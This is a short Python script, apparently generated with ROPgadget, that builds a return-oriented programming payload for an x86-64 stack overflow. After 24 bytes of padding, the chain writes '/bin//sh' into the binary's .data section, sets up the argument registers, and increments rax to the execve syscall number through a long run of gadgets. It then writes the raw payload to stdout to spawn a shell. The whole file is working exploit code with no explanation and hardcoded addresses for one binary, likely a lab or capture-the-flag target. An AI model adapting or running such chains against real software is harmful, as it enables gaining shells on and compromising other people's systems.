#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b'B'*(24)

p += pack('<Q', 0x0000000000413503) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10c0) # @ .data
p += pack('<Q', 0x000000000042c1a2) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000042dd61) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000413503) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10c8) # @ .data + 8
p += pack('<Q', 0x000000000042ad05) # xor rax, rax ; ret
p += pack('<Q', 0x000000000042dd61) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000402081) # pop rdi ; ret
p += pack('<Q', 0x00000000004c10c0) # @ .data
p += pack('<Q', 0x0000000000413503) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10c8) # @ .data + 8
p += pack('<Q', 0x000000000047b0f7) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c10c8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000042ad05) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046e0e0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040122c) # syscall

import sys
sys.stdout.buffer.write(p)
